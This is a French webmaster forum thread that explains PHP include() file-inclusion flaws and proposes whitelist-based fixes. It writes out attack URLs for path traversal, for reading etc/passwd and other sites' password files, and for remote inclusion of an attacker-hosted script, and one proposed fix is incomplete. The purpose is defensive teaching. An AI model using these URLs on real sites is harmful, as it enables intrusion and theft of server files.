Créer son site Gratuitement : Service / Outils webmaster gratuit
Mon Site Gratuit
Contactez nous
Nos partenaires
Scripts
Tutoriaux
Nos services
Forums
Accueil
ForumsLa fonction Include a des failles
      Imprimer le sujet FAQ  M'enregistrer 
  Dynamisez facilement votre site internet grace à notre gamme de scripts PHP de toutes sortes créé par nos amis Plug'ziens pour satisfaire vos besoins

La fonction Include a des failles

Messagede boulledogue le 18 Déc 2007, 18:08

Bonjour tout le monde,
Je me suis entêté a vous expliquer quelques failles de php avec sa fonction Include:


Le php permet de manière très souple la manipulation de fichiers sur un site internet (copier, coller, lire, uploader, télécharger, modifier etc...) mais niveau sécurité, c'est pas top tout le temps...
La faille include() :
La fonction include(argument); permet par exemple d' ouvrir une page web dans une autre. Cette page est définie par l' argument dans la fonction. Ca va jusque là? :-D

-Remarque :
La fonction include_once(argument) fonctionne comme include(argument) au détail prêt qu'elle n'inclu qu'une seule fois le fichier, nous ne la distinguerons pas de include()Présentation de la fonction :

La page principale d' un site sur internet et le plus souvant comme ceci : http://www.siteweb.com/index.php : c'est donc la page index du site, soit la page d'accueil.
Si à ce stade on clique sur un lien et que ont regarde de prêt l' adresse url de la nouvelle page (http://www.siteweb.com/index.php?page=news), on remarque un lien entre la page index.php et news.

Ce lien est une inclusion. En effet le fichier news.php consultable à cette adresse http://www.siteweb.com/news.php, à été inclue dans la page index.php . Donc, cette dernière doit contenir une ligne de code ressemblant normalement à cela :
Code:

Code: Tout sélectionner
<?php
include('news.php');
?>

Ici l'include se fait sur un fichier précis, en l'occurence news.php.

Une autre possibilité est d'inclure des fichiers grâce à une variable qui recevra en argument le nom du fichier à inclure. Voici quelques façon d' inclure un fichier avec include() en utilisant une variable :

Code:
Code: Tout sélectionner
<?php include($variable); ?>


OU
Code: Tout sélectionner
<?php include($variable."html"); ?>


OU
Code: Tout sélectionner
<?php include("./repertoire_du_site/".$variable); ?>


OU
Code: Tout sélectionner
<?php include($variable."/repertoire_du_site/index.php"); ?>


Prenons la page http://www.siteweb.com/article.php?page=news et intéressons nous à son adresse, celle-ci nous indique que la variable permettant d'inclure le fichier est page. Le code de la page article.php contient donc une ligne ressemblant à ceci :

Code:
Code: Tout sélectionner
<?php
include($page.'txt');
?>


Le fichier inclus dans l' exemple est news.txt.

Dans le premier exemple nous définissons en dur le fichier à inclure alors que dans le second, une variable de définie. Dans ce dernier cas il est donc possible de modifier - méthode HTTP_GET (c' est à dire directement dans une url ) - la valeur de la variable. C' est ici que se situe donc la faille.

Recherche et mise en évidence de la faille :

Il faut dans un premier temps, chercher à mettre en évidence la faille dans le site. Pour cela il faut chercher une variable d'inclusion faillible.

En reprenant l'exemple précédent, nous remarquons la présence d' une variable nommée page ($page dans le code source). A ce stade nous ne pouvons qu'émettre l' hypothèse que l'include est déclaré de cette manière :

Code:

Code: Tout sélectionner
<?php
include($page);
?>


La vérification se fait en entrant une valeur insignifiante dans la variable "page" en manipulant l' adresse url http://www.siteweb.com/article.php? … insignifiante . Un message d' erreur ne tarde pas à nous indiquer le filtre appliqué à la variable.

Code: Tout sélectionner
Code:

Warning: main(valeur_insignifiante.txt): failed to open stream: No such file or directory in /web/www/siteweb/www/article.php on line 45

Warning: main(): Failed opening 'valeur_insignifiante.txt' for inclusion (include_path='.../include') in /web/www/siteweb/www/article.php on line 45

Trois informations nous sont ainsi données :

=> Le fichier à inclure est initialement situé sur le repertoire du site "/www/" (l'index du site)
=> le fichier à inclure doit avoir.txt comme extension
=> Nous avons obtenons le chemin du site sur le serveur "/web/www/siteweb/www/" (faille nommée path disclosure, découverte de chemin)

Nous pouvons maintenant rectifier notre hypothèse, le code php dans article.php est donc :

Code:

Code: Tout sélectionner
<?php
include($page.'txt');
?>


Exploitation de la faille de include() de manière locale :


Nous avons vu que dans la fonction include(argument) l' argument peut être une variable modifiable par tout le monde ce qui rend le site vulnérable. Cette variable peut permettre d'inclure d' autre fichiers initialement prévus par le webmaster et donc de dévoiler des informations confidentielles ou d' utiliser des fichiers de façon contournée.

Nous avons vu plus haut que le fichier article.php contient une variable $page qui permet d' inclure des fichiers de type .txt.
Emettons l' hypothèse de la présence d' un fichier news1.txt. Pour vérifier il suffit de saisir l' adresse suivante http://www.siteweb.com/article.php?page=news1.txt

Mais cette variable peut permettre de se déplacer dans les repertoires du site. Le script article.php est dans le répertoire racine du site ("/www/").

Cette adresse http://www.siteweb.com/article.php? … ls/readme, nous permet d'éditer le fichier readme.txt se trouvant dans le répertoire outils, qui se trouve dans le répertoire racine du site. Par contre l' adresse http://www.siteweb.com/article.php?page=.../readme, permet de sortir du répertoire racine du site et de lire le fichier readme.txt.

Pour descendre dans l' arborescence des répertoires vous devez utilisez .../

Mais si le serveur hébergeant le site le permet, on peut inclure des fichiers du serveur. En utilisant le path vu plus haut, nous connaissons le chemin absolu du site, qui est /web/www/siteweb/www/.

Exemple :

Code:
Code: Tout sélectionner
http://[siteweb]/script.php?variable=/web/www/autre_site.com/www/password.txt


Ou encore

Code: Tout sélectionner
http://[siteweb]/script.php?variable=etc/passwd


Par ces méthodes il est donc possible de lire des fichiers et les utiliser en les contournant de leur premier objectif. Mais la faille include() permet aussi d'inclure des fichiers distants c'est à dire des fichiers ne se situant pas sur le site faillible.

Exploitation de la faille include() de manière distant :

La fonction include(argument) permet d'inclure des fichiers se trouvant sur d'autres sites ou sur un serveur FTP. L'intérêt ici est de pouvoir avoir une large panoplie de fonctionnalités définies par les fichiers que l'on inclut.
Jusqu'ici ces fichiers étaient sur le site web. Si l'on inclut un fichier distant, comme par exemple un fichier php, il sera donc sur la page du site et interprété par le serveur du siteweb.

Prenons un exemple général : la saisie de l'une de ces adresses sur un site faillible :

Code:
Code: Tout sélectionner
http://[siteweb]/script.php?variable=http://[site_du_pirate]attaque.php

ou
Code: Tout sélectionner
http://[siteweb]/script.php?variable=ftp://[ftp_du_pirate]attaque.php


Voilà donc tout ca pour vous dire de faire bien attention avec votre site. J'ai plusieurs solutions à vous proposer:
Inclure un fichier en dur:
Code: Tout sélectionner
<?php
$page = $_GET['page'];
if(isset($page)){
   if($page == 'accueil'){
   include('accueil.php');
   } elseif($page == 'news'){
    include('news.php');
  } elseif($page == 'autres'){
   include('autres.php');
  }
} else {
    echo 'Désolé la page n\'existe plus';
}
?>


Ensuite si l'on ne veut pas que les pages accueil.php soient atteignables directement en http://www.siteweb.com/news.php
on peut ajouter cette ligne en début:
Code: Tout sélectionner
<?php
$source = $_SERVER["SCRIPT_NAME"];
if($source == './news.php'){
// si on veut atteindre news.php directement, on renvoie une erreur 404
header('HTTP/1.0 401 Unauthorized');
}
?>


ou meme faire un array :-D :
Code: Tout sélectionner
<?php
        $id=array(
            'accueil'=>'accueil.php',
            'news'=>'news.php',
            'bonjour'=>'bonjour.php',
        );
       
        if(isset($_GET['id']) && array_key_exists($_GET['id'],$id))
           include $id[$_GET['id']].'';
        else
           include 'accueil.php';
?>


Voilà je pense avoir tout dit.
Passez une bonne soirée à répertorier les includes de votre site XD
Bonnes chances et... bonnes fetes
Boulledogue
Dernière édition par boulledogue le 19 Déc 2007, 07:16, édité 1 fois.
Travaille actuellement sur www.restolity.be
Avatar de l'utilisateur
boulledogue
Modo'z
Modo'z
 
Messages: 2254
Inscription: 16 Mar 2007, 18:26
Localisation: Liège, Belgique
Points: 4455


Re: La fonction Include a des failles

Messagede richie3366 le 18 Déc 2007, 21:16

Code: Tout sélectionner
<?php include("./repertoire_du_site/".variable); ?>

Donne :
PHP Notice: Use of undefined constant variable - assumed 'variable' in C:\Documents and Settings\Propriétaire\Bureau\Sans nom 1.php on line 9 PHP Stack trace: PHP 1. {main}() C:\...\Sans nom 1.php:0
Parce que variable ne peut être qu'une constante, donc il manque le dollar... :lol:


Tres belle présentation de la faille include que je connais bien ^^
Rien à dire si ce n'est qu'un site ne peut pas lire les fichiers d'un autre site même s'il est sur la même machine : il y a des autorisations spécifiques.

Sinon merci tout de même et à plus.
Avatar de l'utilisateur
richie3366
Admin'z
Admin'z
 
Messages: 422
Inscription: 15 Mar 2007, 17:59
Localisation: Aveyron
Points: 123


Re: La fonction Include a des failles

Messagede boulledogue le 19 Déc 2007, 07:15

Merci beaucoup pour ton avis, je vais modifier sa de suite ^^
Rien à dire si ce n'est qu'un site ne peut pas lire les fichiers d'un autre site même s'il est sur la même machine : il y a des autorisations spécifiques.

Tu es certain? Je doute, je pense que ca peut fonctionner moi :-D
Bref, à tester
@+
Boulledogue
Travaille actuellement sur www.restolity.be
Avatar de l'utilisateur
boulledogue
Modo'z
Modo'z
 
Messages: 2254
Inscription: 16 Mar 2007, 18:26
Localisation: Liège, Belgique
Points: 4455


Re: La fonction Include a des failles

Messagede richie3366 le 19 Déc 2007, 13:16

Si j'avance cette remarque, c'est que j'ai testé et que par conséquent j'en suis sûr :lol:
Avatar de l'utilisateur
richie3366
Admin'z
Admin'z
 
Messages: 422
Inscription: 15 Mar 2007, 17:59
Localisation: Aveyron
Points: 123


Re: La fonction Include a des failles

Messagede linksi le 09 Mar 2008, 20:14

J'ai mal a la tête maintenant... :lol:
linksi
Nouveau Plug'zien
Nouveau Plug'zien
 
Messages: 9
Inscription: 18 Jan 2008, 22:30
Points: 0


Re: La fonction Include a des failles

Messagede jeromecold le 09 Mar 2008, 20:38

Tant qu'il y a des experts en php, je me posait une question: avec un script d'upload qui donne un chmod 755 à tout ce qu'il upload, est-ce qu'on ne peut pas uploader, à partir d'un serveur, sur un autre? pas pratique si on peut pour la sécurité, hein! Surtout avec directory ^^
Arobase plus
Avatar de l'utilisateur
jeromecold
Plug'zien Pro
Plug'zien Pro
 
Messages: 3156
Inscription: 05 Sep 2007, 13:18
Points: 2915


Re: La fonction Include a des failles

Messagede Nardoum le 09 Mar 2008, 20:59

Salut, ta question, je me suis déjà posé ça ^^
La je viens enfin d'essayer, mais malheureusement, ça affiche une erreur quand c'est sur un serveur externe. :-x
Même en 777 ou 775...
Amicalement, le renard...
Image

N'est plus de ce monde.
Avatar de l'utilisateur
Nardoum
Plug'zien Star'z
Plug'zien Star'z
 
Messages: 515
Inscription: 05 Mar 2008, 11:29
Localisation: Dans un endroit isolé dans le monde...
Points: 404


Re: La fonction Include a des failles

Messagede jeromecold le 09 Mar 2008, 21:33

Ok d'ac, je me posais la question depuis un petit moment, je crois que c'est possible de le faire si le dossier cible a un chmod 777 (tout les doits pour tout le monde) mais c'est dangereux
Arobase plus
Avatar de l'utilisateur
jeromecold
Plug'zien Pro
Plug'zien Pro
 
Messages: 3156
Inscription: 05 Sep 2007, 13:18
Points: 2915


Re: La fonction Include a des failles

Messagede Gaara le 09 Mar 2008, 21:37

Euh les gars, merci de rester dans le thème du topic qui est " La fonction Include a des failles " :bravo:
:etoile: *Rien à dire ...*
Avatar de l'utilisateur
Gaara
Modo'z
Modo'z
 
Messages: 831
Inscription: 18 Mar 2007, 20:47
Localisation: Village Caché de Suna
Points: 8


Re: La fonction Include a des failles

Messagede jeromecold le 09 Mar 2008, 21:51

La fonction Include a des failles

;-D Si tu retires "la fonction include a", on est dans le contexte :lol: ;-D
Arobase plus
Avatar de l'utilisateur
jeromecold
Plug'zien Pro
Plug'zien Pro
 
Messages: 3156
Inscription: 05 Sep 2007, 13:18
Points: 2915



Retourner vers PHP

Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 0 invités